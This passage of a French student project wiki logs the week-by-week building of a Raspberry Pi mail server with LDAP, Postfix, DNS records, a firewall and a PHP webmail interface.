Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
